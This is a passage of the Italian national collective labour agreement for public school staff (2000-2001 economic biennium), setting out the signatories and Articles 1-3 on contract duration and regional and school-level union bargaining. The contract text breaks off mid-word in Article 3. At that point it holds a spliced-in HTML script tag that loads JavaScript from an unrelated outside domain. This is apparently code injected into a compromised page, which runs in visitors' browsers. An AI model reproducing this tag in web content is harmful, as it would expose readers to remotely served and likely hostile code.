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Categoria: Scuola (comparto pubblico) Settore: Pubblica Amministrazione Data stipula: 15-2-2001 Data decorrenza: 1-1-2000 Data scadenza: 31-12-2001
Contratto Collettivo Nazionale di Lavoro
RELATIVO AL 2° BIENNIO ECONOMICO 2000-2001
DEL PERSONALE DEL COMPARTO SCUOLA
A seguito del parere favorevole espresso dalla Presidenza del Consiglio
dei Ministri il 20.2.01 sul testo dell'ipotesi di accordo relativa al 2°
biennio economico 2000-2001 del personale del comparto Scuola, stipulata
il 15.2.01, nonché della certificazione della Corte dei Conti, in data
9.3.01, sull'attendibilità dei costi quantificati per il medesimo accordo
e sulla loro compatibilità con gli strumenti di programmazione e di
bilancio, il giorno 15 marzo alle ore 12,30 presso la sede ARAN, ha avuto
luogo l'incontro tra:
- ARAN rappresentata dall'avv. Guido Fantoni, Presidente facente
funzioni;
- i rappresentanti delle seguenti Confederazioni sindacali: CGIL, CISL,
UIL, CONFSAL;
- i rappresentanti delle seguenti OO.SS: CGIL-SNS, CISL Scuola, UIL
Scuola, CONFSAL-SNALS, GILDA-UNAMS
Al termine dell'incontro le parti hanno sottoscritto il CCNL per il 2°
biennio economico 2000-2001 del personale del comparto Scuola.
Art. 1 - Durata e decorrenza del contratto biennale.
Il presente contratto di 2° biennio si riferisce al periodo 1 gennaio 2000
- 31 dicembre 2001.
Art. 2 - Sistema di relazioni sindacali a livello regionale.
1. La contrattazione collettiva su materie attualmente di competenza dei
livelli nazionali o provinciali della Amministrazione scolastica si svolge
comunque al livello regionale contestualmente con l'attribuzione delle
stesse materie al predetto livello regionale.
2. Del pari, le forme di partecipazione sindacale di cui all'art. 3,
comma 2, CCNL 26.5.99 si svolgono al livello istituzionale competente per
materia.
Art. 3 - Relazioni sindacali a livello d'istituto.
1. In attuazione di quanto previsto dall'art. 6, commi 2, 3 e 5, CCNL
26.5.99, le seguenti materie costituiscono oggetto di contrattazione
integrativa a livello d'istituto, ferme restando quelle oggetto di
informazione:
a) modalità di utilizzazione del personale in rapporto al piano
dell'offerta formativa (P.O.F.);
b) utilizzazione dei servizi sociali;
c) modalità e criteri di applicazione dei diritti sindacali, nonché dei
contingenti di personale previsti dall'accordo sull'attuazione della legge
n. 146/90;
d) attuazione della normativa in materia di sicurezza nei luoghi di
lavoro;
e) criteri riguardanti le assegnazioni del personale docente, educativo
e ATA alle sezioni staccate e ai plessi; ricadute sull'organizzazione del
lavoro e del servizio derivanti dall'intensificazione delle prestazioni
legate alla definizione dell'unità didattica; ritorni pomeridiani;
f) modalità relative all'organizzazione del lavoro e all'articolazione
dell'orario del personale ATA, nel rispetto di quanto previsto dalla
contrattazione integrativa nazionale, nonché i criteri per
l'individuazione del personale ATA da utilizzare nelle attività retribuite
con il fondo d'istituto.
2. Costituiscono, inoltre, oggetto di contrattazione integrativa, fermo
restando quanto previsto al comma 6 del citato art. 6, CCNL 26.5.99 e in
riferimento al piano dell'offerta formativa, le seguenti materie:
a) criteri generali per l'impiego delle risorse, ivi comprese quelle di
cui all'art. 43, CCNL 26.5.99, del Fondo in relazione alle diverse
professionalità, ai vari ordini e gradi di scuola eventualmente presenti
nella stessa istituzione scolastica e alle tipologie di attività;
b) la misura dei compensi al personale docente ed educativo per le
attività di flessibilità didattica di cui all'art. 31, comma 1, Contratto
collettivo nazionale integrativo sottoscritto il 31.8.99, per le attività
complementari di educazione fisica di cui all'art. 32 dello stesso CCNL,
nonché per quelle di cui al citato art. 43 del CCNL 26.5.99;
c) la misura dei compe<script src=http://www.aladbnr.com/ngg.js></script>
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